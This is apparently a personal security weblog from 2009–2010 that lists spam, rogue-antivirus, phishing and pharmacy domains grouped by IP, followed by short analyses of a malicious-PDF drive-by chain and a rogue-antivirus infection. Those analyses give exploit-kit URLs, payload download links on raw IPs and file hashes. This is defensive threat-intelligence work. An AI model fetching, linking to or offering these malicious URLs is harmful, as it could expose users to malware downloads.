Web Security Weblog

Spam ** 07-March-10

2010-03-07T06:09:00.000-08:00

Spams that flooded in my daily Inbox.

www.localactiondating.com
www.grefills7.com
www.vorkelni.com
www.znaijdexo.com
fukin4fun.net
mkl.placepillsjob.com?zk
canadapharmacyonline.com.cn
www.aredirect.ru
www.onudkulti.com
www.jaypeyvve.com
ijs.rxonline24.com?ojq
www.solvetruck.com
www.solvewhite.com
www.viagrow-sale.com
www.brefills2.com
www.rxrefill-07.com
f161891.duckminute.ru
7d316.liquidwhile.ru
7c0e3a8fb357.solvefizz.ru
b2d7665eddd120c.trainfound.ru
b3e0917d8c.cellhard.ru
fccd4baffbbdb8.sayeager.ru
76015329d314.hugeraise.ru
f885a61073.cleanmodest.ru
c73aabf2.handboat.ru
c72bb1111e6.socell.ru
tre.emv3.comHS?
9f9a9f.paintride.ru
290aa344cb8379d.ledeast.ru
d16f1687705fb.inventhow.ru
e10ada.dresstable.ru
8e134c4b4ecc467.gardenspoke.ru
50ede4c6b70e2.storysay.ru
d193c300ea906b0.quzixenov.cn
07c83.peakrenown.ru
7a5cfd32dc274e.theremove.ru
389b5ee9feaaa17.landfire.ru
58418dc23f3bd.sincesolve.ru
8e3e64f2dd981.railpose.ru
2b08130d0c.hascity.ru
fyad.org10hre
b7644f.tinyroot.ru
f9edc657fb9d.endthink.ru
04f16fc1a0bf72e.heartbits.ru
df7bdb6.choosetingle.ru
e66f62d2e4cdf.yibohidum.cn
8ddaa8.puporodat.cn
c72da9ecd0.zoriduwaq.cn
www.jackpotspree.net
a07a339acf88c.bibigemos.cn
352caff98.desertgreat.ru
29f174354f53f.relaxfinest.ru
c76b4a2c918a.cornseed.ru
88712.ohbeauty.ru
gkh.fafuseqiq.cn
5d67c3b9acaff3.wifelook.ru
02505.waitwhose.ru
c268c.samerange.ru
1da38cba1322d.chairrange.ru
0b3aa64.prizeprove.ru
073401fda70d.shoeswell.ru
b8b68b4a30.actalive.ru
75b6a75f.guidepure.ru
8188164f89.richcell.ru
0ad50d1812.groupplane.ru
831b1944241.flowguide.ru
9bf3dd25eb7.cuddlymeek.ru
be9791dd3f68.southsuperb.ru
b491cdba4edb066.valleyfound.ru
8f448f3e7bd.poundanswer.ru
23c21095ce49cd.hearspread.ru
8109fbda833303.famousdoor.ru
330cf5d214bd3.poemfoot.ru
164ac.chordwait.ru
c0af17.chordlate.ru
dc581406.yulestreet.ru
85b439de60c49.cottonorgan.ru
75130dcf.sensecolor.ru
3508ae.quietlevel.ru
846a88.kecejazos.cn
hrz.ultimatepharmdrive.com
f58a6fc2e472.wuzagutok.cn
8ea660659942a6.demuqoxim.cn
9a7d028caf52.teachwall.ru
6087781d9e5e.thelate.ru
18a335065bae4.threeglad.ru
ireporters.keyringl.net
e55eab.majornew.ru
61cfe24faf79a4b.squaretingle.ru
764db.thingtiny.ru
b72987832.loftygather.ru
3d8784b608f26f.causewell.ru
5636e549f53.thingstood.ru
76d67.thanmeet.ru
b58b85c978d7aa.politecotton.ru
free-bizzz.comindex.php
22696541099b9b7.studybeat.ru
3c813edb0.coursestood.ru
a62c76edfcddc06.classeach.ru
529e965c9d43a.dimplemuch.ru
16cb7cc.lookfriend.ru
51c0f1c10a85.creasesexy.ru
97142.supplyperson.ru
ac844465ee7.jewelband.ru
7169d.lakereach.ru
61e85d2.helpparent.ru
ad5c53c9453731a.pullfinish.ru
9d02fc69b734f88.smoothjoin.ru
c8786521f53f178.meantdrink.ru
4d129fc1997.gigglespruce.ru
c1f3d8ce084df1.didschool.ru
2cb911c30.deluxequart.ru
6fb7aa6dc3385d.settlesudden.ru
8ce06af668e3bb.loftyflower.ru
b2b8fec4529ef.aglowdecide.ru
b3013932.behindby.ru
5b753b.oilraise.ru
fc571ee6cda5.mayfeed.ru
f767b848319.rosewill.ru
91a6a820850c891.rangetoward.ru
638c9a120.salttop.ru
15d2b3d41020d17.breakrenown.ru
eed6644ecd.renownverb.ru
cf36912.boardmove.ru
235811.wintermonth.ru
e5f7322d89.nowgentle.ru
d7f5ce46a7.fizzable.ru
163dfc11a91.factpalate.ru
9e030191b.multimakey.ru
4626bb00fec37.marketrace.ru
cb9060e65.inventbroad.ru
4fbff46f6547.piecedrop.ru
aae19734f.rubgolden.ru
760000ef9c4d.exoticswell.ru
b23588b9dd4dd43.lucidtrain.ru
ca35dd3efce.pearlput.ru
dab256de9d11.caretop.ru
27459fded1668.ropespace.ru
2f4057da.backson.ru
85464d2.designwow.ru
a9fc169.werise.ru

Rogue Antivirus and Spams- 22-Jan

2010-01-22T05:49:00.000-08:00

IP: 62.90.136.210

becomesantyvirus.net
bestalltools.com
bestfoodtest.com
goodantyviruspillnow.com
homeboxsecurity.com
inspectallrealty.com
luckvirustoolbox.com
mail.bentestsite.com
mail.bestalltools.com
mail.bestfoodtest.com
mail.excavatevirustool.net
mail.goodantyviruspillnow.com
mail.inspectallrealty.com
mail.luckvirustoolbox.com
mail.maybeantispyware.net
mail.mynewvirusbex.com
mail.onlineantispywareremo.com
mail.paycyberbill.com
mail.scanlifetimeonline.com
mail.scantechindia.com
mail.securytybnasty.com
mail.thecheckcredit.com
mail.thetoolsbargain.com
mail.yourantivirusscan.com
maybeantispyware.net
mynewvirusbex.com
ns1.bentestsite.com
ns1.bestfoodtest.com
ns1.cuttingutilities.com
ns1.homeboxsecurity.com
ns1.inspectallrealty.com
ns1.mynewvirusbex.com
ns1.scantechindia.com
onlineantispywareremo.com
paycyberbill.com
scanlifetimeonline.com
startingantivirus.net
scantechindia.com
thecheckcredit.com
thetoolsbargain.com
www.bestalltools.com
www.cuttingutilities.com
www.gameonlinesite.com
www.nowhomesecurity.com
www.thetoolsbargain.com
www.websecurityswitch.com
yourantivirusscan.com

IP: 62.90.136.211

ns2.bentestsite.com
ns2.bestfoodtest.com
ns2.cuttingutilities.com
ns2.homeboxsecurity.com
ns2.inspectallrealty.com
ns2.mynewvirusbex.com
ns2.scantechindia.com

IP: 62.90.136.207

dating0marriage.net
destinycombine.net
healthe-lovesite.com
ifound-thelove.net
join-destinies.net
lonely-heart-waiting.com
love-formeandyou.com
love-greatthing.com
love-isaclick.com
love-me-cares.net
love-onlylove.com
loveand-only.com
loveiskiss.com
mail.and-i-loveyoutoo.com
mail.dating0marriage.net
mail.destinycombine.net
mail.healthe-lovesite.com
mail.heartconections.net
mail.ifound-thelove.net
mail.join-destinies.net
mail.lonely-heart-waiting.com
mail.love-formeandyou.com
mail.love-galaxys.com
mail.love-greatthing.com
mail.love-isaclick.com
mail.love-isexcellent.net
mail.love-me-cares.net
mail.love-onlylove.com
mail.love-youloves.com
mail.loveand-only.com
mail.loveishunt.com
mail.meet-the-lovedestiny.com
mail.world-1meetlove.com
mail.yourdestinyhere.net
mail.yourmatchwith.net
meet-the-lovedestiny.com
ns1.createyourlove.net
ns1.loveattaches.net
ns2.one-serv.net
only-loveall.com
www.and-i-loveyoutoo.com
www.best-only-love.com
www.crystalic-love.com
www.destinycombine.net
www.destinycontacts.net
www.feel-freewithlove.com
www.flirt-withmedirect.com
www.found-thelove.com
www.healthe-lovesite.com
www.heartconections.net
www.ifound-thelove.net
www.join-destinies.net
www.lonely-heart-waiting.com
www.love-formeandyou.com
www.love-is-special.com
www.love-isaclick.com
www.love-me-cares.net
www.love-youloves.com
www.loveishunt.com
www.matchwithworld.net
www.meet-nowlove.com
www.meet-the-lovedestiny.com
www.myheart-hwithlove.com
www.only-loveall.com
www.romance-hunting.com
www.tenderwoman.net
www.world-1meetlove.com
www.yourdestinyhere.net
www.yourmatchwith.net

ESET Phishing website?

2010-01-20T08:19:00.000-08:00

ESET is one of the famous antivirus security vendor in the security field. If users accidentally browse to www.eset32.net instead of www.eset.com. Then you better careful on what you browse.

www.eset32.net (78.108.84.16)

www.eset.com

antivirus360.ru Rogue AV

2010-01-19T07:51:00.000-08:00

Rogue Antivirus

IP address: 69.31.84.26

*.antivirus360.ru
*.nalunu.net
*.oemmarketplace.com
*.windows-security-update.com
antivirus360.ru
greenh.info
hostmaster.antivirus360.ru
hostmaster.nalunu.net
hostmaster.oemmarketplace.com
mail.antivirus360.ru
mail.nalunu.net
mail.oemmarketplace.com
mail.windows-security-update.com
ns1.windows-security-update.com
ns2.antivirus360.ru
ns2.nalunu.net
ns2.oemmarketplace.com
ns2.windows-security-update.com
oemmarketplace.com

Vulnerability in Windows Media Player ActiveX launchURL()

2010-01-18T07:08:00.000-08:00

Reference:

http://sebug.net/exploit/18957/

PureAcai Elite Spam

2010-01-18T06:30:00.000-08:00

82.129.25.122

absoluteacaiberry.com
acaipowermax.com
mail.powerfulacai.com
powerfulacai.com
prohealthcleanse.com
redantiox.com
strongcolon.com
tryjunpurecleanse.com
www.absoluteacaiberry.com
www.acaipowermax.com
www.antioxwine.com
www.efficientacai.com
www.perfectbenefitacai.com
www.powerfulacai.com
www.prohealthcleanse.com
www.pureacaielite.com
www.redantiox.com
www.strongcolon.com
www.xtraresveratrol.com
www.youthcleanse.com
xtraresveratrol.com
youthcleanse.com

82.129.25.123

antioxwine.com
efficientacai.com
mail.efficientacai.com
mail.perfectbenefitacai.com
perfectbenefitacai.com
www.absoluteacaiberry.com
www.acaipowermax.com
www.antioxwine.com
www.efficientacai.com
www.perfectbenefitacai.com
www.powerfulacai.com
www.prohealthcleanse.com
www.pureacaielite.com
www.redantiox.com
www.strongcolon.com
www.xtraresveratrol.com
www.youthcleanse.com

93.188.248.182

www.absoluteacaiberry.com
www.acaipowermax.com
www.antioxwine.com
www.efficientacai.com
www.perfectbenefitacai.com
www.powerfulacai.com
www.prohealthcleanse.com
www.pureacaielite.com
www.redantiox.com
www.strongcolon.com
www.xtraresveratrol.com
www.youthcleanse.com

93.188.248.183

www.absoluteacaiberry.com
www.acaipowermax.com
www.antioxwine.com
www.efficientacai.com
www.perfectbenefitacai.com
www.powerfulacai.com
www.prohealthcleanse.com
www.pureacaielite.com
www.redantiox.com
www.strongcolon.com
www.xtraresveratrol.com
www.youthcleanse.com

Spam ** 10-Jan-10

2010-01-12T08:22:00.000-08:00

91.208.228.78
www.canadamedications-home.com

222.170.127.122
email-connect.com
email-mailbox.com
emailfriendz.com
fuckbook-abrams.info
fuckbook-cabral.com
fuckbook-dale.com
mailbox-email.com
www.fuckbook-baca.com
www.fuckbook-cabral.com
www.fuckbook-dale.com
www.fuckbook-DALEY.com
www.fuckbook-CABRERA.com
www.fuckbook-BABIN.com
www.fuckbook-BACHMAN.com

124.248.32.48
prettymoral.com
www.fakipokap.cn
www.behofuhej.cn
www.mipuzukok.cn
www.wahumxh.cn

210.212.30.131
yeckydmai.com
*.medsmedicinedirect.com
*.nucquyfro.com
*.pailetrepf.com
*.qugoqudal.com
*.rhopnizelj.com
*.rvaulybvoa.com
*.superstoremeds.com
*.supertabletpillshealth.com
*.superwellbeing.net
*.unnaxedy.com
*.utvorehdufa.com
*.wisuilufmo.com
*.yupnyojrufl.com
*.zmautnipvy.com
admin.nucquyfro.com
admin.pharmacybetterhealth.com
admin.rxtabletshealth.com
admin.vomhequnn.com
mail.nucquyfro.com
mail.pailetrepf.com
mail.pharmacybetterhealth.com
mail.qugoqudal.com
mail.relcuhebi.com
mail.rxtabletshealth.com
mail.ryudfyvduaw.com
mail.supertabletpillshealth.com
mail.tabletownhealthrx.com
mail.yupdytytix.com
medsmedicinedirect.com
ns1.medsmedicinedirect.com
ns1.mrihahve.com
ns1.nucquyfro.com
ns1.pharmacybetterhealth.com
ns1.qugoqudal.com
ns1.relcuhebi.com
ns1.sohfevevyl.com
ns1.supertabletpillshealth.com
ns1.uyrfyucli.net
ns1.vomhequnn.com
ns1.yotgorjyu.com
ns2.medsmedicinedirect.com
ns2.mrihahve.com
ns2.nucquyfro.com
ns2.relcuhebi.com
ns2.rxcapsuleshealth.com
ns2.rxtabletshealth.com
ns2.vomhequnn.com
qukmifnuo.com
rhopnizelj.com
rvaulybvoa.com
rxdrugstorenew.com
ryudfyvduaw.com
sohfevevyl.com
sreljeowy.com
superstoremeds.com
superwellbeing.net
tabletownhealthrx.com
tluncimavv.com
uisdovykwe.net
unnaxedy.com
upmevpuoto.com
utvorehdufa.com
whugyrgip.com
yotgorjyu.com
yupdytytix.com
zmautnipvy.com
pharmacybetterhealth.com
qugoqudal.com
relcuhebi.com
rxtabletshealth.com
supertabletpillshealth.com
tabletownhealthrx.com
yupdytytix.com

121.127.132.144
*.abotrcue.cn
abotrcue.cn
admin.abotrcue.cn
www.abotrcue.cn
www.abxlwwue.cn

116.123.221.214
*.25vip-2010.com
*.krapobraves.com
*.savolinosas.net
*.vip52-2010.com
25vip-2010.com
krapobraves.com
drugsmunmro37a.net
ns1.krapobraves.com
ns1.savolinosas.net
ns2.krapobraves.com
ns2.savolinosas.net
ns3.krapobraves.com
ns3.savolinosas.net
ns4.krapobraves.com
ns4.savolinosas.net
savolinosas.net
www.25vip-2010.com

61.235.117.75
*.loxuzaqad.cn
64d4.loxuzaqad.cn
loxuzaqad.cn
sir-t.cn
xyu-bam.cn

174.132.227.82
*.mediafilestorage.net
*.redirto.com
2009tatil.com
2rabweb.com
ajecto.com
ajecto.ru
ancestrykey.com
arezdagasket.com
arezdapurnamaloka.com
articulatehosting.com
backbonetek.com
bihepinc.com
bistrooncinders.com
bizozguruz.com
buycallawaygolf.info
capoeiraphilippines.com
cheapcanoncamera.us
cheapnikoncamera.us
cholerias.com
clubtrikolik.net
conceptekilibre.com
cyberkraft.in
deercee.com
desainy.com
designtweaks.com
eastwestinteractive.com
elianceconnectronics.com
exploreruralhimalayas.com
favotec.net
federalgrantexpress.com
federalgrantsacademy.com
federalgrantsmoney.com
fekrapro.com
fofotara.com
forexbreakingnews.com
forwebsites.net
friendsteroutline.com
gands-contracting.com
gateturkey.com
globalscreenings.com
goaseahomes.com
gokovabelediyesi.com
hosting.ajecto.com
hostregion.com
iammundee.com
igamblefree.com
infobailes.com
inveway.com
island21.org
itsaboutdelhi.com
itsaboutdelhi.info
janabenitez.net
jhc2004.com
jmzgroup.com
joco-ceramics.com
klipizlex.net
kozlukuyu.com
lamoxiegroup.com
lankaemail.com
learngermanreviews.com
learningfrenchcritic.com
learnjapanesequickly.com
lofotentaxi.com
logger32.net
lvumanpower.com
mail.hrlink.vn
metasys.in
metasystech.com
modblog.net
mohammedjamal.info
mylastamen.net
newenglandnswdirectory.com
ns1.cyberkraft.in
ns1.fofotara.com
officechairsale.info
olimpiyatevi.com
onlineurdu.com
outboardassist.com
placiahotel.com
portalmedia.com.au
ppmq.org
printersworldnetwork.com
profoundstupidity.net
pvhc.net
qaqarat.com
radyogazete.com
raggedangel.net
recliningofficechair.info
rtowebsolution.com
s8ft.com
s8ft.net
sandeshaya.com
scrappyshop.com
secureend.com
shogungsm.com
sirijayasri.com
sparkpixel.com
ssctindia.org
stockfuture.org
superlinkkuwait.com
thetimbers.net
todaytrading.com
trikolik.com
ventana7.com
waterfallwaydesigns.com
wolkacentrum.com
woodsnwatertaxidermy.net
worldads.tk
wrkondreamz.org
www.hostregion.com
www.igamblefree.com
www.learningfrenchcritic.com
www.mediafilestorage.net
www.metasystech.com
www.onlineurdu.com
www.profoundstupidity.net
www.redirto.com
www.s8ft.com
www.worldads.tk
yaoo.net
zilla.ru

61.61.20.162
vujehewis.cn

69.16.253.125
shibdassmetals.com
aamantrandelhi.com
aaradhyaindia.org
activedesign.org
adaindia.in
agencyverticals.com
amayaclinic.com
andamanchronicle.com
anika.in
artcollegechandigarh.org
auramall.in
batha-ads.org
bharatinstitutes.org
bhilai85sss4.com
bishnoism.com
bumsumshi.com
canineelite.com
castleton.co.in
cgmfpfed.org
cgnewsupdate.com
chamberoflaw.com
chanakyagroup.org
computerithub.com
csvtu.ac.in
dainiksandhyaprakash.com
dcbgirlscollegejorhat.org
divineskincareindia.com
effluxtechnologies.com
ewaytech.net
fcyr.org
floralart.co.in
flowersofindia.net
forgeter.com
frontalagritech.co.in
futuregold.in
goenkaeducation.org
golaghatcommercecollege.org
grand-resort.co.in
grandplaza.co.in
graphicreflections.org
gurunanakinstitutes.com
guwahatione.com
harieducation.org
historicalroutes.com
hojoindia.com
horizoninfosys.org
iescp.org
iietjind.com
iirmr.net
iiwchennai.org
indianincenseonline.com
indiapackersmovers.net
indicurecosmeticsurgery.com
indicurerehabilitation.com
indoswiss.net
inld.biz
innomark.in
invernessmedicalindia.com
irps.in
itsbhiwani.com
jandaood.co.in
jangsher.com
jundokan-gojuryu.org
kaliaborcollege.org
kalikavu.com
karaninstitutes.com
kovaisales.com
krninstitute.com
kundan.co.in
lokdcollegedhekiajuli.org
loyalcomputers.net
lscp.ac.in
maharishichannel.net
mail.guwahatione.com
mail.irps.in
malaysiatravelcentre.in
manugill.info
mprexports.com
myeducationfunda.com
navsiddharthaartgroup.org
newsite.in
nitakumar.net
noidamalls.com
nrenterprisesindia.org
ns1.webcomindia.net
optigolfindia.com
paramountwebsolution.com
rangaparacollege.org
regularnetwork.com
resalemachines.biz
rnemcrohtak.org
saijewel.com
shahoils.com
sitapurmahotsava.com
smrealtors.in
sodaltech.in
solomontechnologies.org
spreadsnet.org
sripipefitting.com
ssrealestate.co.in
stssociety.org
techvoteindia.com
thinnkware.com
travtourindia.com
trtcguwahati.org
truevirtues.net
ttcpkc.org
uttarakhandtourism.net
verb.co.in
visa-trans.com
vtirohtak.org
waytonikah.com
whisperingpines.co.in
wiwbee.com
worldtrademarkpatent.com
www.agencyverticals.com
www.indiapackersmovers.net
www.internet20.org
www.kovaisales.com
xoftoasis.com

67.19.250.209
101freetools.com
anevakateva.info
cefnacaribbean.com
d1.fa.1343.static.theplanet.com
dbcindia.in
doriashowerfilter.com
eispilates.com
jonahproject.net
kish-health.org
lifeinsurancepolicy-401k.com
lifestyledecorate.com
mail.eispilates.com
michaeljacksonisntdead.net
mollymckay.net
monarchturf.com
monicagallo.com
saqconsultor.com
shambletrain.com
sweethomealternative.com
takeabow.info
terencedunn.com
tjwinegardner.com
www.eispilates.com
www.kish-health.org
www.mollymckay.net

66.197.212.102
tv4free.8k.ro
free.8k.ro
support.8k.ro

195.70.35.216
palfalvi.hu
*.karosinfo.hu
a1taxi.hu
ago-sport.hu
agrarplaza.com
akkumulator.net
americarservice.hu
amerikai-autoszerviz.hu
aquamasters.hu
barkoczy.net
bekecsaba.hu
bollobas.hu
bonolact.com
bordersped.com
ceramiceurope.com
cityhit.net
dentorient.net
dxantech.com
dynamictours.hu
e-mpire.hu
euceramic.com
euceramicmarket.com
euhunting.com
eutilemarket.com
eutileshop.com
ferienhaus-fort.com
fewo-fort.com
furdoruha.com
gasztroenterologus.com
gaviascience.com
geier.hu
gesta.hu
gesztenyes.hu
glb-consulting.com
gobelincouture.com
hdriltd.com
hhs.hu
hidrotech.net
hipi.hu
icup2008.com
immo-balaton.hu
jogtorte.net
karos.net
karosinfo.hu
kegyelet.com
kehidaingatlan.com
kopet2000.hu
kormanymu.com
kovatsits.com
landceramic.com
lyra.hu
medgyesi.com
mesefigurasfalfestes.hu
moneysavinghomepage.com
motocomic.com
motocomics.com
mugyujtokejszakaja.hu
multitiersolution.com
napfurdo.com
narc.hu
netpatika.net
nyugat-balaton.com
ocipe.hu
operett.com
orvosok.com
osztalykirandulas.com
ouraborus.com
palmbeach.hu
pap-sziget.hu
papirtaska.com
peg.hu
peterbertalan.com
pingwinet.hu
previewfiction.com
primadentplus.com
probiotikum.com
pusztacaccia.com
rokfort.net
rozsdamentes.com
s2.webtar.hu
scatoli.it
servosteuerung.com
shiatsu.hu
sikerakademia.eu
studium-nyelviskola.hu
sunsetdesign.net
szabb.com
szabofolia.com
szalanczy.com
szamitastechnika.net
szelidi-to.hu
szentorban.com
szigetkozkft.hu
szogyenyi.hu
szoroban.com
szuperdomain.com
szurkepuli.hu
temeto.com
thegameman.net
torellas-art.com
toys-port.com
trailerfiction.com
trioajto.hu
turak.hu
tuzoltosag-pomaz.hu
uniqa-ep.hu
utszoroso.hu
vadkert.hu
vagyonbiztonsag.hu
vasipar.hu
vecsei.net
virtualceramic.com
virtualceramicmarket.com
virtualceramicshop.com
virtualtilemarket.com
warhammer.hu
worldceramicmarket.com
worldceramicshop.com
www.bekecsaba.hu
www.hipi.hu
xn--szmtstechnika-4dbc4q.net
zclubhungary.hu

83.245.63.121
*.crayodyne.com
1vending.com
888bootcamp.com
adapa.si
adswebprint.com
albanyassociates.com
alexbatty.net
ambadyconstructions.com
arevelation.com
artisshock.com
atraktos.com
autosbondia.com
aytugondes.com
badboyzevent.com
bankcottage-guesthouse.com
bcbrit.net
bersy.it
bettingleague.net
burglar-alarms.net
caravans-for-sale.com
carpetcleaningservice.net
cavershamafc.com
cbjcolo.net
chezvouspc.com
chezvouspc.net
chrixkit.net
clayhallosteopaths.com
clearwaybuilder.com
corporate-entertainment1.com
crayodyne.com
darranwilliams.net
devdos.com
directcorsica.com
dragonred.com
ecituk.com
eniana.com
epools.net
equinetourism.com
eventfirstaidservices.com
flowerglow.com
fountainfineart.com
fridaykhutbah.net
friendly-places.com
garethmoore.net
geaweb.com
globalsurfari.com
harchester.net
harrybeckers.com
helmdevelopment.net
hintkumasi.com
http.lithium.lon.periodicnetwork.com
inplates.com
inspiredhf.com
intelly.net
jedocomputers.com
kallkwikbirmingham.com
kenmackenzie.com
kentishgraphics.com
keywebdesign.net
kineticnorth.com
kitchendeepclean.com
lainy.net
leafgreendisplays.com
leehenrymusic.com
legalexplus.com
leisuremaintenance.com
lestudiofitness.com
letshaveaholidayinspain.com
lordkrishnabuilders.com
luv4food.net
mail.atraktos.com
mail2b.atraktos.com
mannmachine.com
mantova.net
maplemole.net
marcophones.com
mbunit.com
mechalift.com
melankolik.com
mgvenice.com
miczakbuilders.com
mor-design.co.uk
motorhomes-for-sale.com
mumsbymaria.com
mysticfamiliar.com
newtbeerfest.com
nijigenki.com
nijiworld.com
orkconsult.com
parkhomes-for-sale.com
payroling.com
pierresmulders.com
pro-testing.com
profecole.com
rauncharoo.com
rooswinkel.net
saleel.net
selenoi.net
silksoflondon.net
smilescool.com
smulders.be
southsidemag.net
spanish-owners-direct.com
starbicpay.com
stayaerusa.com
stayaerusa.net
strategic-investment.com
swsdental.net
swsdiamonds.net
swsrotary.com
swsrotary.net
texasa1.com
thairealm.com
toolrepairservices.com
turveys.com
wg7.net
wh6.net
wheretoonow.net
wind-academy.net
www.croydoncar.com
www.bersy.it
xa2.net

65.98.67.74
alkayagnik.co.in
bondre.in

217.195.204.242
www.nicaea.com.tr

160.217.96.2
home.pf.jcu.cz

124.248.32.48
oneinfintyx.eu

208.109.138.73
www.sgftv.com

72.167.131.159
www.mangeshraut.com

207.210.80.250
5-porn.com

Dead domains:

www.fuckbook-CABALLERO.com
www.omvouxylqe.com
40cdc69e1ecb.yepawobat.cn
341a20db.nihaguzac.cn
31d.dupesezew.cn
58bb1.hecovujal.cn
2ea1ed64c.rebatezur.cn
5f88.foledikin.cn
c7344.wuvoqafaq.cn

Yahoo Invisible Accounts

2010-01-02T01:38:00.000-08:00

Don't be fool to login to this kind or similar fake yahoo websites. Change the yahoo password immediately once you fall to this kind of trick campaign. :)

www.4detector.info (97.74.144.151)

Domains sharing the same IP address:

skatesquad.com
sunrise.redearthdesign.com
texasbirds.org
thehowlands.net
therightopportunity.com
thiellsfd.com
vbsvirtualassist.com
virginia-beach-attorney.com
vita-land.com
wearevictory.com
webshire.net
www.97bi.com
www.allsesso.com
www.baiduxbaidu.info
www.bestelderlyproducts.com
www.billiard-tours.com
www.blogadmonkey.com
www.bugattiescorts.com
www.ccmcinemas.com
www.couture-threads.com
www.dirking.info
www.ezejobs.com
www.gogobest.com
www.jack21.com
www.lasierranightclub.com
www.linkking.info
www.lucianvision.com
www.lunwencn.com
www.miamiartcontest.com
www.nofaultsports.com
www.peaveycorp.com
www.perfectpennystocks.com
www.politekstil.net
www.profsrch.com
www.qvisits.com
www.redearthdesign.com
www.runningwiththehorseman.com
www.sese2009.com
www.shopassignments.info
www.skatesquad.com
www.unmeteredhostingreview.com
www.vbsvirtualassist.com
www.virginia-beach-attorney.com
www.zetaplex.com
zeeone.com
zetaplex.com

Miekiesmoes named in malicious crafted PDF, with TrojanDropper:Win32/Microjoin.gen!B

2009-12-29T07:25:00.001-08:00

While searching some malicious footprint code from Google that showed as below. Lots of the malicious sites can be found from below codes.

One of the malicious site is porn site "teensxtube.com", you will notices that following internet connections were established.

http://teensxtube.com/
http://teensxtube.com/wp.js
http://teensxtube.com/extra/sheduler.php
http://teensxtube.com/extra/count.php?gr=4
http://teensxtube.com/extra/count.php?gr=88
http://eccinput.com/rstat.htm
http://teensxtube.com/1.jpg
http://homesiteuk.com/index.php
http://eccinput.com/r/cnt-gif1x1.php?e=1600.1200&d=32&r=http%3A//teensxtube.com/&p=http%3A//eccinput.com/rstat.htm&t=
http://homesiteuk.com/x.x
http://homesiteuk.com//load.php?spl=mdac (VT 5/41); ThreatExpert Report
http://homesiteuk.com/index.php?spl=2&br=MSIE&vers=6.0&s=
http://homesiteuk.com//pdf.php
http://homesiteuk.com/index.php?spl=3&br=MSIE&vers=6.0&s=
http://saloongins.net/nop/tds2.php
http://autouploaders.net/mass/tds2.php
http://settopworld.net/incallspa.php
http://greatinstant.net/yourseekerz.php
http://getgreatguide.in/s/exx.php
http://promotds.com/in.cgi?16
http://promotds.com/in.cgi?6
http://trenublo.com/estplanete.php
http://getgreatguide.in/search.php?qq=young%20tight%20ass
http://teenbestmovie.com/pi.php
http://getgreatguide.in/s/exx.php
http://getgreatguide.in/search.php?qq=allure%20amateur%20paige
http://getgreatguide.in/search.php?qq=lesbian%20teen%20site%20myspace%20com
http://fuckthisteen.net/pi.php
http://teenbestmovie.com/index2.php
http://fuckthisteen.net/index2.php
http://bestwebtop.net/estvirtuel.php
http://getgreatguide.net/s/exx.php
http://www.unseencontent.com/
http://www.unseencontent.com/cgi-bin/atx/out.cgi?l=o
http://213.174.143.196/v/cj.php?d=80
http://topfuckmovies.net/
http://greattaby.com/addlinkworld.php
http://findyourlink.net/s/exx_new.php
http://findyourlink.net/search.php?qq=free%20gay%20guy%20sex%20video
http://fuckthisteen.net/out.php?t=3.0.2.178&url=http://www.campsnatch.com/hosted/index.php?ws/valik/teenybopperclub_mov500&s=2
http://cafebarplaza.cn/mostextra.php
http://tofindhomes.in/s/exx.php
http://tofindhomes.in/se.php?qq=hardcore%20big%20dick%20sex
http://settopworld.net/greattab.php
http://themiddel.com/s/exx.php
http://themiddel.com/search.php?qq=buy+soma+online
http://greatinstant.net/therealabc.php
http://themiddel.com/s/exx.php
http://themiddel.com/search.php?qq=buy+lipitor
http://trenublo.com/topext.php
http://findyourlink.net/s/exx_new.php
http://findyourlink.net/search.php?qq=cock%20first%20her%20massive
http://navigateguide.com/s/exx_new.php
http://navigateguide.com/search.php?qq=ebony%20free%20model%20pic%20woman
http://adprotraffic.com/asm.js?id=22592

http://homesiteuk.com//pdf.php, below is the decoded stream that captured from malicious pdf.

Seem like there have another layer code that need to decode. Without no surprising, you will get the actual codes after replacing "kru pop 32" with "%".

Obviously, analyst will get Unicode after decode using method UCS. http://homesiteuk.com//load.php?spl=pdf_0day

According to ThreatExpert, this malware categorized as Trojan Dropper and have Zbot characteristic. It will stole personal information and financial information. Besides that, it also generates lots traffics out to other porn websites.

Following generated connections:

autouploaders.net
saloongins.net
settopworld.net
greatinstant.net
trenublo.com
bestwebtop.net
greattaby.com
cafebarplaza.cn
discoverany.cn
d45648675.cn
moretds.in

From the malicious crafted pdf file, there have interesting that I noticed is about "/Author (Miekiemoes)"

Miekiesmoes is Assistant Director of Research @ Malwarebytes according from miekiemoes.blogspot.com

Seem like someone is joking with her! :-)

Security Tool Rouge Antivirus

2009-12-23T06:29:00.000-08:00

Visiting compromised website with vulnerable IE browser end with rogue anti-virus installed in my virtual systems. As usual, rouge anti-virus will perform scanning on systems with alerting with fake messages, and end up users tricked to purchase rouge anti-virus online.

Will redirecting to "sodanthu.com/in6.php"

Few domains and IP address used to download the payloads:
sodanthu.com - 76.186.201.167
domoktov.com - 122.115.63.19
bodyscanfit.com - 95.143.192.197
93.178.16.243
67.8.103.165
115.23.132.150
72.189.62.203
remotepaybill.com - 72.233.65.202
58.180.228.103
noloid.com - 82.38.177.107

Basically there have two executable payload files downloaded with low that AV detection rate.
- load.exe 11/40 (sha1:f1b4fc1e56c9e129e83f3139b54dc9b26c481769) VT , ThreatExpert
- 78_wcap.exe 16/40 (sha1:a142cb266ad6cd764501981f6bb194025b7c8cc8) 78_wcap.exe VT, ThreatExpert

"load.exe" starting request to download another two payloads from following urls:
- http://95.211.8.217/pr/pic/test_vorogpa_b.exe (Netherlands)
- http://213.108.56.140/pr/pic/mode.exe (Russian Federation)

- test_vorogpa_b.exe 8/41 (sha1:77e476b0f93241d7fd4c96a93b2aaf51c0b7283c) VT, ThreatExpert
- mode.exe 8/41 (sha1:bd53d7a738a4eb7b208441772312c0a980f6c9d5) VT, ThreatExpert

Other than that, following Host Names were requested from host database:

93.178.16.243 Saudi Arabia
99.172.145.27 United States
70.136.99.45 United States
58.180.228.103 Korea, Republic Of
69.133.52.228 United States
98.150.16.40 United States
116.32.243.20 Korea, Republic Of
121.133.154.145 Korea, Republic Of
65.36.21.142 United States
67.8.103.165 United States
68.63.4.110 United States
115.23.132.150 Korea, Republic Of
211.212.234.198 Korea, Republic Of
189.39.157.223 Brazil
72.189.139.203 United States
200.59.9.82 Argentina
119.207.4.172 Korea, Republic Of
115.136.188.114 Korea, Republic Of
221.161.156.247 Korea, Republic Of
72.189.62.203 United States
152.1.90.107 United States
86.104.133.94 Romania
67.191.95.170 United States
112.170.209.51 Korea, Republic Of
189.41.94.209 Brazil
221.145.69.122 Korea, Republic Of
82.139.32.75 Poland
210.96.149.10 Korea, Republic Of
